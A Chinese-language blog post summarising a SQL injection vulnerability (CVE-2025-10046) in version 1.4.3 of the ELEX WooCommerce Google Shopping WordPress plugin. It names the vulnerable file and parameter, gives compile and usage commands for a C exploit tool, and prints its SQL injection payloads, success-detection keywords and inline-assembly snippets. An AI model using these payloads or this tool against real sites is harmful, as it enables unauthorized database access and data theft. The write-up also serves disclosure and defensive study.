ELEX WooCommerce插件SQL注入漏洞分析与利用

本文详细分析了ELEX WooCommerce WordPress插件1.4.3版本中的SQL注入漏洞(CVE-2025-10046),包含完整的漏洞利用代码和技术实现细节,涉及文件包含位置和权限要求等关键技术信息。

ELEX WooCommerce WordPress插件1.4.3 - SQL注入漏洞

漏洞概述

漏洞标题: ELEX WooCommerce WordPress插件1.4.3 - SQL注入漏洞
CVE编号: CVE-2025-10046
漏洞类型: SQL注入
受影响插件: ELEX WooCommerce Google Shopping
受影响版本: 1.4.3
注入参数: file_to_delete
漏洞文件: includes/elex-manage-feed-ajax.php
利用权限: 需要管理员账户权限

技术细节

漏洞位置

漏洞位于includes/elex-manage-feed-ajax.php文件中,具体在file_to_delete参数处存在SQL注入漏洞。

利用代码编译与执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 编译利用代码
gcc exploit.c argparse.c -o CVE-2025-10046 -lcurl

# 使用帮助
./CVE-2025-10046 -h

# 基本用法
./CVE-2025-10046 -u [目标URL]

# 使用Cookie文件
./CVE-2025-10046 -u [目标URL] -c [管理员Cookie文件]

# 详细模式
./CVE-2025-10046 -u [目标URL] -v -c [管理员Cookie文件]

技术实现

系统架构检测

利用代码包含系统架构检测功能,确保在Linux x86_64系统上运行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
struct utsname os;
// 系统调用获取系统信息
__asm__ volatile
(
    "mov %0, %%rdi\n\t"
    "mov $0x3F, %%rax\n\t"
    "syscall\n\t"
    :
    : "r"(&os)
    : "rax", "rdi"
);

SQL注入载荷

代码包含多种SQL注入测试载荷:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
const char *pyL[] =
{
    "UNION ALL SELECT NULL",
    "AND 532=CONVERT(INT,(UNION ALL SELECTCHAR(55)+CHAR(55)))",
    "UNION ALL SELECT 'INJ'||'ECT'||'XXX',4,5,6",
    "or 1=1/*",
    "or '1'='1'",
    " HAVING 1=1",
    NULL
};

响应检测关键词

代码检测响应中包含的特定关键词来判断注入是否成功:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
const char *word[] =
{
    "SQL syntax",
    "Warning: mysql_",
    "Warning: mysqli_",
    "unrecognized token",
    "feed_meta_content",
    "manage_feed_data",
    NULL
};

网络请求处理

CURL配置

利用libcurl库发送HTTP请求,配置包括:

  • 设置POST数据和参数
  • Cookie管理
  • 超时设置
  • SSL验证禁用
  • 详细的请求头配置

内存管理

使用自定义内存管理结构处理服务器响应:

1
2
3
4
5
struct Mem
{
    char *buffer;
    size_t len;
};

系统要求

  • 操作系统: Linux x86_64
  • 依赖库: libcurl
  • 权限要求: 管理员账户访问权限

安全影响

该漏洞允许攻击者通过构造特殊的SQL注入载荷,在具有管理员权限的情况下执行任意SQL查询,可能导致数据库信息泄露、数据篡改等安全风险。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计